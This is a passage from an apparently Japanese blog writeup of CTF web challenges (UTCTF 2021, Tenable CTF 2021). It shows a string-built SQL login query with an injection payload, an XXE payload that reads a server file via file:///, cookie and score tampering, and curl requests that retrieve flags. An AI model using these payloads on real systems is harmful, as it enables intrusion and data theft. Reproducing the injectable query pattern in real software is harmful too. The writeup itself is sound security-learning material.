max-width: 900px; margin: auto; } .important { color: red; } input:not([type='submit']) { width: 100%; padding: 8px; margin: 8px 0; } input[type='submit'] { margin-bottom: 16px; } </style> `); }); app.use(function (err, req, res, next) { console.error(err); req.destroy(); }); app.listen(3000);
const query = `SELECT id FROM users WHERE username = '${req.body.username}' AND password = '${req.body.password}';`;
const username = document.createElement('input'); username.setAttribute('name', 'username'); username.setAttribute('value', btoa(document.querySelector('#username').value) ); const password = document.createElement('input'); password.setAttribute('name', 'password'); password.setAttribute('value', btoa(document.querySelector('#password').value) );
POSTするときにbase64でエンコードされちゃうのでBurp Suiteを使ってリクエストを書き換える。
username=YWRtaW4%3D%27%20OR%20%27A%27%3D%27A&password=dW5rbw%3D%3D
でPOSTする。
<p>Found. Redirecting to <a href="/?message=flag%7B50m37h1n6_50m37h1n6_cl13n7_n07_600d%7D">/?message=flag%7B50m37h1n6_50m37h1n6_cl13n7_n07_600d%7D</a></p>
flag: flag{50m37h1n6_50m37h1n6_cl13n7_n07_600d}
UTCTF 2021: Writeup
Web
Source it!
ソースコードをみてみると
<script> function checkPassword(form) { password1 = form.password1.value; name = form.name.value; var username = "admin"; var hash = "1bea3a3d4bc3be1149a75b33fb8d82bc"; var hashedPasswd = CryptoJS.MD5(password1); if (password1 == '') alert ("Please enter Password"); else if (username != name) { alert ("\nYou lack access privlages...") return false; } else if (hash != hashedPasswd) { alert ("\nIncorrect password...") return false; } else{ alert("Access Granted\n" + text) return true; } } </script>
1bea3a3d4bc3be1149a75b33fb8d82bc
というmd5ハッシュを復号?できればログインできそう。
MD5 Online | Free MD5 Decryption, MD5 Hash Decoder
flag: utflag{b33n_th3r3_s0uRc3d_th4t}
Cutest Cookie Clicker Rip-Off
Burpで通信をみてみるとscoreがPOSTされていることがわかる。
{"score":1000000000000}
でPOSTするとflagが表示される。
Congrats! The flag is utflag{numnum_cookies_r_yumyum}
flag: utflag{numnum_cookies_r_yumyum}
Oinker
簡易pastebinみたいなサービスっぽい。適当にpostしてみるとhttp://web2.utctf.live:5320/oink/22
のようなURLが生成される。数字を変えることで他の人が生成したpostをみることができる。
flag: utflag{traversal_bad_dude}
Tenable CTF 2021: Writeup
Web
Stay Away Creepy Crawlers
robots.txt
ファイルをみる。
User-agent: * Disallow: /admin/ # flag{mr_roboto}
flag: flag{mr_roboto}
Source of All Evil
ソースコードを見るだけ。
<!-- source flag : flag{best_implants_ever} -->
flag : flag{best_implants_ever}
Headers for you inspiration
レスポンスのヘッダにflagがある。
HTTP/1.1 200 OK Date: Fri, 19 Feb 2021 02:21:59 GMT Server: Apache/2.4.41 (Ubuntu) Strict-Transport-Security: max-age=63072000; includeSubdomains X-Frame-Options: DENY X-Content-Type-Options: nosniff Flag: flag{headersftw} Vary: Accept-Encoding Content-Length: 1041 Connection: close Content-Type: text/html; charset=UTF-8
flag: flag{headersftw}
Ripper Doc
/certified_rippers.php
においてauthenticated
というパラメータのCookieをtrueに書き換えてアクセスするとflagがでてくる。
<ul> <b>Rippers:</b><li> <b>Don Sue Mei: dds123@example.com</b></li><li> <b>Lok Mah NoHans: llhsa@example.com</b></li><li> <b>Mr Flagerific: flag{messing_with_cookies}</b></li>
flag: flag{messing_with_cookies}
Show me what you got
/images/
にアクセスするとファイルの一覧が見える。
/images/aljdi3sd.txt
の中身をみるとflagがある。
flag: flag{disable_directory_indexes}
Can't find it
存在しないリソースにアクセスしようとするとflagがでてくる
WTF - Page not found! btw - flag{404_oh_no}
flag: flag{404_oh_no}
Send A Letter
フォームを入力してみると
/send_letter.php?letter=%3C?xml%20version=%221.0%22%20encoding=%22ISO-8859-1%22?%3E%3Cletter%3E%3Cfrom%3E%3C/from%3E%3Creturn_addr%3E%3C/return_addr%3E%3Cname%3Eunko%3C/name%3E%3Caddr%3Eunko@unko.com%3C/addr%3E%3Cmessage%3Eunko%3C/message%3E%3C/letter%3E
letterパラメータにXMLを指定してGETしているので簡単な問題ならXXEの脆弱性がありそう。
適当にGETしてみると Message to unko appended to /tmp/messages_outbound.txt for pickup. Mailbox flag raised.
というアラートがでてくる。
/tmp/messages_outbound.txt
ファイルを読めればよさそうなので単純なXXEをためすとflagがよめる。
Payload
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///tmp/messages_outbound.txt"> ]> <letter><from></from><return_addr></return_addr><name>&ent;</name><addr>unko@unko.com</addr><message>unko</message></letter>
Response
Message to flag{xxe_aww_yeah} appended to /tmp/messages_outbound.txt for pickup. Mailbox flag raised.
flag: flag{xxe_aww_yeah}
Spring MVC 1
ソースコードをみてみるとMainController.java
の中に
@GetMapping("/main") public ModelAndView getMain() { ModelAndView modelAndView = new ModelAndView("flag"); modelAndView.addObject("flag", flags.getFlag("spring_mvc_1")); // get main return modelAndView; }
という記述があり、 /main
にアクセスするとflagを手に入れることができる。
flag: flag{flag1_517d74}
Spring MVC 2
@PostMapping("/main") public String postMain(@RequestParam(name="magicWord", required=false, defaultValue="") String magicWord, Model model) { if (magicWord.equals("please")) model.addAttribute("flag", flags.getFlag("spring_mvc_3")); // post main param else model.addAttribute("flag", flags.getFlag("spring_mvc_2")); // post main return "flag"; }
/main
にPOSTすればflagゲットできそう
$ curl -i -X POST http://challenges.ctfd.io:30542/main HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Content-Language: en-US Transfer-Encoding: chunked Date: Mon, 22 Feb 2021 10:31:11 GMT <!DOCTYPE HTML> <html> <head> <title>Tenable CTF: Spring MVC</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body> <p >flag{flag2_de3981}</p> </body> </html>
flag: flag{flag2_de3981}
Spring MVC 3
さっきのコードをみてみるとmagicWord
パラメータにplease
を与えてPOSTすればよさそう。
$ curl -i -d "magicWord=please" http://challenges.ctfd.io:30542/main HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Content-Language: en-US Transfer-Encoding: chunked Date: Mon, 22 Feb 2021 10:32:36 GMT <!DOCTYPE HTML> <html> <head> <title>Tenable CTF: Spring MVC</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body> <p >flag{flag3_0d431e}</p> </body> </html>
flag: flag{flag3_0d431e}
Spring MVC 4
@PostMapping(path = "/main", consumes = "application/json") public String postMainJson(Model model) { model.addAttribute("flag", flags.getFlag("spring_mvc_4")); // post main flag json return "flag"; }
HTTPリクエストのヘッダのContent-Type
にapplication/json
を指定すればよさそう。
$ curl -i -X POST -H 'Content-Type: application/json' http://challenges.ctfd.io:30542/main HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Content-Language: en-US Transfer-Encoding: chunked Date: Mon, 22 Feb 2021 10:34:50 GMT <!DOCTYPE HTML> <html> <head> <title>Tenable CTF: Spring MVC</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body> <p >flag{flag4_695954}</p> </body> </html>
flag: flag{flag4_695954}
Spring MVC 5
@RequestMapping(path = "/main", method = RequestMethod.OPTIONS) public String optionsMain(Model model) { model.addAttribute("flag", flags.getFlag("spring_mvc_5")); // options main return "flag"; }
OPTIONS
メソッドでリクエストすればよさそう。
$ curl -i -X OPTIONS http://challenges.ctfd.io:30542/main HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Content-Language: en-US Transfer-Encoding: chunked Date: Mon, 22 Feb 2021 10:35:57 GMT <!DOCTYPE HTML> <html> <head> <title>Tenable CTF: Spring MVC</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body> <p >flag{flag5_70102b}</p> </body> </html>
flag: flag{flag5_70102b}
Spring MVC 6
@RequestMapping(path = "/main", method = RequestMethod.GET, headers = "Magic-Word=please") public String headersMain(Model model) { model.addAttribute("flag", flags.getFlag("spring_mvc_6")); // headers main return "flag"; }
GET
メソッドでMagic-Word
ヘッダにplease
を指定してあげればよさそう。
$ curl -i -H 'Magic-Word: please' http://challenges.ctfd.io:30542/main HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Content-Language: en-US Transfer-Encoding: chunked Date: Mon, 22 Feb 2021 10:37:32 GMT <!DOCTYPE HTML> <html> <head> <title>Tenable CTF: Spring MVC</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body> <p >flag{flag6_ca1ddf}</p> </body> </html>
Spring MVC 7 (Hiding in Plain Sight)
src/main/resources/templetes/.hello.html
ファイルをみてみると
<!DOCTYPE HTML> <html xmlns:th="http://www.thymeleaf.org"> <head> <title>Tenable CTF: Spring MVC</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> span.hidden { color:white; } </style> </head> <body> <p th:text="'Hello, ' + ${name} + '!'" /> <p th:if="${name == 'please'}"> <span class="hidden" th:text="${@flagService.getFlag('hidden_flag')}" /> </p> <p th:if="${#session.getAttribute('realName') == 'admin'}"> <span th:text="${#session.getAttribute('sessionFlag')}" /> </p> </body> </html>
name
にplease
を指定できれば隠れてるflagを表示させることができそう。
.hello
を呼び出してるのは src/main/java/com/tenable/ctf/mvc/MainController.java
っぽいので処理の流れをみてみる
@GetMapping("/") public String index(HttpSession session, Model model, @RequestParam(name="name", required=false, defaultValue="user") String name) { model.addAttribute("name", name); session.setAttribute("sessionFlag", flags.getFlag("session_flag")); return ".hello"; }
http://challenges.ctfd.io:30542/?name=please
にアクセスすると
Hello, please! flag{hidden_flag_1dbc4}
flag: flag{hidden_flag_1dbc4}
Spring MVC 8 (Sessionable)
さっきの .hello.html
の一部をみてみると
<p th:if="${#session.getAttribute('realName') == 'admin'}"> <span th:text="${#session.getAttribute('sessionFlag')}" /> </p>
realName
をadmin
に指定することができれば取得できそう。
MainController.java
をみると
@GetMapping("/") public String index(HttpSession session, Model model, @RequestParam(name="name", required=false, defaultValue="user") String name) { model.addAttribute("name", name); session.setAttribute("sessionFlag", flags.getFlag("session_flag")); return ".hello"; }
realNameの指定の仕方がよくわからないから検索してみると
src/main/java/com/tenable/ctf/mvc/OtherController.java
をみてみると
@GetMapping("/other") public String index(@RequestParam(name="name", required=false, defaultValue="user") String realName, HttpSession session, Model model) { session.setAttribute("realName", realName); model.addAttribute("name", realName); return "hello"; }
realNameは/other
で指定できるので
http://challenges.ctfd.io:30542/other?name=admin
にアクセスしてadmin
のセッションを取得したあとにhttp://challenges.ctfd.io:30542/
にアクセスするとflagを取得することができる。
flag: flag{session_flag_0dac2c}